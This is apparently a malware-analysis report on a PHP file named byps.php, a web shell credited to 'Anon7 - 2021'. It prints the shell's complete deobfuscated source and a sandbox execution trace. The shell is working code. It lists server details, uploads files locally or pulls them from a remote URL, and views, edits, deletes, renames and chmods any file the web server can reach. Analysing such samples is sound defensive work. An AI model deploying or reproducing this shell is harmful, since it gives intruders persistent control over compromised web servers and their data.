PHP Malware Analysis

byps.php

md5: 8168f573ed3b3be445642ef2f7ba6ac0

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>Anon7 - 2021</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "Directory : &nbsp;";
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td><br>";
if (isset($_POST['upwkwk'])) {
    if (isset($_POST['berkasnya'])) {
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
            echo "string";
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
    if (isset($_POST['chm0d'])) {
        $cm = @chmod($_POST['path'], $_POST['perm']);
        if ($cm == true) {
            green("Change Mod Success !");
        } else {
            red("Change Mod Failed !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
	<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr class=\"first\">\n<td><center>Name</center></td>\n<td><center>Size</center></td>\n<td><center>Permissions</center></td>\n<td><center>Options</center></td>\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.' || $dir == '..') {
        continue;
    }
    echo "<tr>\n\t<td><a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\n\t<td><center>--</center></td>\n\t<td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\n\t<td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\n\t<select name=\"pilih\">\n\t<option value=\"\"></option>\n\t<option value=\"hapus\">Delete</option>\n\t<option value=\"ubahmod\">Chm0d</option>\n\t<option value=\"gantinama\">Rename</option>\n\t</select>\n\t<input type=\"hidden\" name=\"type\" value=\"dir\">\n\t<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\n\t<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\n\t<input type=\"submit\" class=\"gas\" value=\">\" />\n\t</form></center></td>\n\t</tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\n<td><a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\n<td><center>" . $size . "</center></td>\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\n<select name=\"pilih\">\n<option value=\"\"></option>\n<option value=\"hapus\">Delete</option>\n<option value=\"ubahmod\">Chm0d</option>\n<option value=\"gantinama\">Rename</option>\n<option value=\"edit\">Edit</option>\n</select>\n<input type=\"hidden\" name=\"type\" value=\"file\">\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\n<input type=\"submit\" class=\"gas\" value=\">\" />\n</form></center></td>\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $statusnya = fileperms($file);
    if (($statusnya & 0xc000) == 0xc000) {
        // Socket
        $ingfo = 's';
    } elseif (($statusnya & 0xa000) == 0xa000) {
        // Symbolic Link
        $ingfo = 'l';
    } elseif (($statusnya & 0x8000) == 0x8000) {
        // Regular
        $ingfo = '-';
    } elseif (($statusnya & 0x6000) == 0x6000) {
        // Block special
        $ingfo = 'b';
    } elseif (($statusnya & 0x4000) == 0x4000) {
        // Directory
        $ingfo = 'd';
    } elseif (($statusnya & 0x2000) == 0x2000) {
        // Character special
        $ingfo = 'c';
    } elseif (($statusnya & 0x1000) == 0x1000) {
        // FIFO pipe
        $ingfo = 'p';
    } else {
        // Unknown
        $ingfo = 'u';
    }
    // Owner
    $ingfo .= $statusnya & 0x100 ? 'r' : '-';
    $ingfo .= $statusnya & 0x80 ? 'w' : '-';
    $ingfo .= $statusnya & 0x40 ? $statusnya & 0x800 ? 's' : 'x' : ($statusnya & 0x800 ? 'S' : '-');
    // Group
    $ingfo .= $statusnya & 0x20 ? 'r' : '-';
    $ingfo .= $statusnya & 0x10 ? 'w' : '-';
    $ingfo .= $statusnya & 0x8 ? $statusnya & 0x400 ? 's' : 'x' : ($statusnya & 0x400 ? 'S' : '-');
    // World
    $ingfo .= $statusnya & 0x4 ? 'r' : '-';
    $ingfo .= $statusnya & 0x2 ? 'w' : '-';
    $ingfo .= $statusnya & 0x1 ? $statusnya & 0x200 ? 't' : 'x' : ($statusnya & 0x200 ? 'T' : '-');
    return $ingfo;
}
?>


Execution traces

data/traces/8168f573ed3b3be445642ef2f7ba6ac0_trace-1676251621.3014.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:27:27.199272]
1	0	1	0.000157	393512
1	3	0	0.000562	469856	{main}	1		/var/www/html/uploads/byps.php	0	0
2	4	0	0.000581	469856	set_time_limit	0		/var/www/html/uploads/byps.php	97	1	0
2	4	1	0.000676	469920
2	4	R			FALSE
2	5	0	0.000692	469888	error_reporting	0		/var/www/html/uploads/byps.php	98	1	0
2	5	1	0.000706	469928
2	5	R			22527
2	6	0	0.000719	469888	ini_get	0		/var/www/html/uploads/byps.php	100	1	'disable_functions'
2	6	1	0.000734	470368
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/byps.php	100	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/byps.php	104	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000807	470784	php_uname	0		/var/www/html/uploads/byps.php	158	0
2	7	1	0.000821	470896
2	7	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	8	0	0.000840	470784	get_current_user	0		/var/www/html/uploads/byps.php	159	0
2	8	1	0.000877	470824
2	8	R			'osboxes'
2	9	0	0.000892	470888	getmyuid	0		/var/www/html/uploads/byps.php	159	0
2	9	1	0.000904	470888
2	9	R			1000
2	10	0	0.000918	470792	phpversion	0		/var/www/html/uploads/byps.php	160	0
2	10	1	0.000929	470856
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.000947	470792	getcwd	0		/var/www/html/uploads/byps.php	172	0
2	11	1	0.000960	470840
2	11	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byps.php	172	$lokasi = '/var/www/html/uploads'
2	12	0	0.000986	470840	getcwd	0		/var/www/html/uploads/byps.php	173	0
2	12	1	0.000999	470888
2	12	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byps.php	173	$lokdua = '/var/www/html/uploads'
2	13	0	0.001023	470888	str_replace	0		/var/www/html/uploads/byps.php	176	3	'\\'	'/'	'/var/www/html/uploads'
2	13	1	0.001039	470984
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byps.php	176	$lokasi = '/var/www/html/uploads'
2	14	0	0.001063	470888	explode	0		/var/www/html/uploads/byps.php	177	2	'/'	'/var/www/html/uploads'
2	14	1	0.001078	471464
2	14	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/byps.php	177	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	15	0	0.001111	471392	scandir	0		/var/www/html/uploads/byps.php	178	1	'/var/www/html/uploads'
2	15	1	0.001140	472016
2	15	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'byps.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/byps.php	178	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'byps.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/byps.php	180	$id = 0
1		A						/var/www/html/uploads/byps.php	182	$a = TRUE
1		A						/var/www/html/uploads/byps.php	180	$id = 1
1		A						/var/www/html/uploads/byps.php	188	$i = 0
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	180	$id = 2
1		A						/var/www/html/uploads/byps.php	188	$i = 0
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	180	$id = 3
1		A						/var/www/html/uploads/byps.php	188	$i = 0
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	180	$id = 4
1		A						/var/www/html/uploads/byps.php	188	$i = 0
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
1		A						/var/www/html/uploads/byps.php	188	$i++
2	16	0	0.001386	471984	cekdir	1		/var/www/html/uploads/byps.php	225	0
3	17	0	0.001399	471984	getcwd	0		/var/www/html/uploads/byps.php	116	0
3	17	1	0.001411	472032
3	17	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/byps.php	116	$lokasi = '/var/www/html/uploads'
3	18	0	0.001436	472032	is_writable	0		/var/www/html/uploads/byps.php	118	1	'/var/www/html/uploads'
3	18	1	0.001454	472072
3	18	R			TRUE
2	16	1	0.001468	471984
2	16	R			'<font color=\'green\'>Writeable</font>'
2	19	0	0.001484	472240	cekroot	1		/var/www/html/uploads/byps.php	226	0
3	20	0	0.001496	472240	is_writable	0		/var/www/html/uploads/byps.php	126	1	'/var/www/html'
3	20	1	0.001510	472280
3	20	R			TRUE
2	19	1	0.001524	472240
2	19	R			'<font color=\'green\'>Writeable</font>'
2	21	0	0.001541	472032	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/.'
2	21	1	0.001556	472096
2	21	R			TRUE
2	22	0	0.001570	472064	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/..'
2	22	1	0.001584	472112
2	22	R			TRUE
2	23	0	0.001597	472072	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.001612	472112
2	23	R			FALSE
2	24	0	0.001625	472072	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/byps.php'
2	24	1	0.001639	472112
2	24	R			FALSE
2	25	0	0.001652	472072	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/data'
2	25	1	0.001666	472112
2	25	R			TRUE
2	26	0	0.001679	472072	is_writable	0		/var/www/html/uploads/byps.php	325	1	'/var/www/html/uploads/data'
2	26	1	0.001694	472112
2	26	R			TRUE
2	27	0	0.001708	472072	statusnya	1		/var/www/html/uploads/byps.php	327	1	'/var/www/html/uploads/data'
3	28	0	0.001721	472072	fileperms	0		/var/www/html/uploads/byps.php	385	1	'/var/www/html/uploads/data'
3	28	1	0.001733	472112
3	28	R			16895
2		A						/var/www/html/uploads/byps.php	385	$statusnya = 16895
2		A						/var/www/html/uploads/byps.php	402	$ingfo = 'd'
2		A						/var/www/html/uploads/byps.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	419	$ingfo .= 'x'
2		A						/var/www/html/uploads/byps.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	424	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	427	$ingfo .= 'x'
2		A						/var/www/html/uploads/byps.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	431	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	435	$ingfo .= 'x'
2	27	1	0.001866	472112
2	27	R			'drwxrwxrwx'
2	29	0	0.001881	472072	is_writable	0		/var/www/html/uploads/byps.php	328	1	'/var/www/html/uploads/data'
2	29	1	0.001896	472112
2	29	R			TRUE
2	30	0	0.001917	472192	is_dir	0		/var/www/html/uploads/byps.php	320	1	'/var/www/html/uploads/prepend.php'
2	30	1	0.001933	472240
2	30	R			FALSE
2	31	0	0.001948	472184	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/.'
2	31	1	0.001962	472208
2	31	R			FALSE
2	32	0	0.001976	472176	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/..'
2	32	1	0.001989	472224
2	32	R			FALSE
2	33	0	0.002002	472184	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002017	472224
2	33	R			TRUE
2	34	0	0.002030	472184	filesize	0		/var/www/html/uploads/byps.php	349	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002043	472224
2	34	R			64
1		A						/var/www/html/uploads/byps.php	349	$size = 0.0625
2	35	0	0.002067	472128	round	0		/var/www/html/uploads/byps.php	350	2	0.0625	3
2	35	1	0.002081	472200
2	35	R			0.063
1		A						/var/www/html/uploads/byps.php	350	$size = 0.063
1		A						/var/www/html/uploads/byps.php	354	$size = '0.063 KB'
2	36	0	0.002117	472224	is_writable	0		/var/www/html/uploads/byps.php	361	1	'/var/www/html/uploads/.htaccess'
2	36	1	0.002134	472264
2	36	R			FALSE
2	37	0	0.002147	472224	is_readable	0		/var/www/html/uploads/byps.php	362	1	'/var/www/html/uploads/.htaccess'
2	37	1	0.002161	472264
2	37	R			TRUE
2	38	0	0.002179	472224	statusnya	1		/var/www/html/uploads/byps.php	363	1	'/var/www/html/uploads/.htaccess'
3	39	0	0.002193	472224	fileperms	0		/var/www/html/uploads/byps.php	385	1	'/var/www/html/uploads/.htaccess'
3	39	1	0.002205	472264
3	39	R			33188
2		A						/var/www/html/uploads/byps.php	385	$statusnya = 33188
2		A						/var/www/html/uploads/byps.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byps.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	419	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	424	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	427	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	435	$ingfo .= '-'
2	38	1	0.002325	472264
2	38	R			'-rw-r--r--'
2	40	0	0.002340	472224	is_writable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/.htaccess'
2	40	1	0.002356	472264
2	40	R			FALSE
2	41	0	0.002369	472224	is_readable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/.htaccess'
2	41	1	0.002384	472264
2	41	R			TRUE
2	42	0	0.002398	472224	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/byps.php'
2	42	1	0.002411	472264
2	42	R			TRUE
2	43	0	0.002424	472224	filesize	0		/var/www/html/uploads/byps.php	349	1	'/var/www/html/uploads/byps.php'
2	43	1	0.002436	472264
2	43	R			12193
1		A						/var/www/html/uploads/byps.php	349	$size = 11.9072265625
2	44	0	0.002459	472128	round	0		/var/www/html/uploads/byps.php	350	2	11.9072265625	3
2	44	1	0.002473	472200
2	44	R			11.907
1		A						/var/www/html/uploads/byps.php	350	$size = 11.907
1		A						/var/www/html/uploads/byps.php	354	$size = '11.907 KB'
2	45	0	0.002509	472224	is_writable	0		/var/www/html/uploads/byps.php	361	1	'/var/www/html/uploads/byps.php'
2	45	1	0.002524	472264
2	45	R			FALSE
2	46	0	0.002537	472224	is_readable	0		/var/www/html/uploads/byps.php	362	1	'/var/www/html/uploads/byps.php'
2	46	1	0.002551	472264
2	46	R			TRUE
2	47	0	0.002564	472224	statusnya	1		/var/www/html/uploads/byps.php	363	1	'/var/www/html/uploads/byps.php'
3	48	0	0.002577	472224	fileperms	0		/var/www/html/uploads/byps.php	385	1	'/var/www/html/uploads/byps.php'
3	48	1	0.002589	472264
3	48	R			33204
2		A						/var/www/html/uploads/byps.php	385	$statusnya = 33204
2		A						/var/www/html/uploads/byps.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byps.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	419	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	424	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	427	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	435	$ingfo .= '-'
2	47	1	0.002708	472264
2	47	R			'-rw-rw-r--'
2	49	0	0.002723	472224	is_writable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/byps.php'
2	49	1	0.002737	472264
2	49	R			FALSE
2	50	0	0.002751	472224	is_readable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/byps.php'
2	50	1	0.002765	472264
2	50	R			TRUE
2	51	0	0.002778	472224	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/data'
2	51	1	0.002793	472264
2	51	R			FALSE
2	52	0	0.002807	472232	is_file	0		/var/www/html/uploads/byps.php	348	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002821	472280
2	52	R			TRUE
2	53	0	0.002834	472240	filesize	0		/var/www/html/uploads/byps.php	349	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002847	472280
2	53	R			57
1		A						/var/www/html/uploads/byps.php	349	$size = 0.0556640625
2	54	0	0.002871	472136	round	0		/var/www/html/uploads/byps.php	350	2	0.0556640625	3
2	54	1	0.002884	472208
2	54	R			0.056
1		A						/var/www/html/uploads/byps.php	350	$size = 0.056
1		A						/var/www/html/uploads/byps.php	354	$size = '0.056 KB'
2	55	0	0.002920	472240	is_writable	0		/var/www/html/uploads/byps.php	361	1	'/var/www/html/uploads/prepend.php'
2	55	1	0.002939	472280
2	55	R			FALSE
2	56	0	0.002953	472240	is_readable	0		/var/www/html/uploads/byps.php	362	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.002968	472280
2	56	R			TRUE
2	57	0	0.002981	472240	statusnya	1		/var/www/html/uploads/byps.php	363	1	'/var/www/html/uploads/prepend.php'
3	58	0	0.002995	472240	fileperms	0		/var/www/html/uploads/byps.php	385	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.003008	472280
3	58	R			33261
2		A						/var/www/html/uploads/byps.php	385	$statusnya = 33261
2		A						/var/www/html/uploads/byps.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byps.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byps.php	419	$ingfo .= 'x'
2		A						/var/www/html/uploads/byps.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	424	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	427	$ingfo .= 'x'
2		A						/var/www/html/uploads/byps.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byps.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byps.php	435	$ingfo .= 'x'
2	57	1	0.003130	472280
2	57	R			'-rwxr-xr-x'
2	59	0	0.003144	472240	is_writable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.003160	472280
2	59	R			FALSE
2	60	0	0.003173	472240	is_readable	0		/var/www/html/uploads/byps.php	364	1	'/var/www/html/uploads/prepend.php'
2	60	1	0.003188	472280
2	60	R			TRUE
2	61	0	0.003202	472176	author	1		/var/www/html/uploads/byps.php	382	0
			0.003241	392848
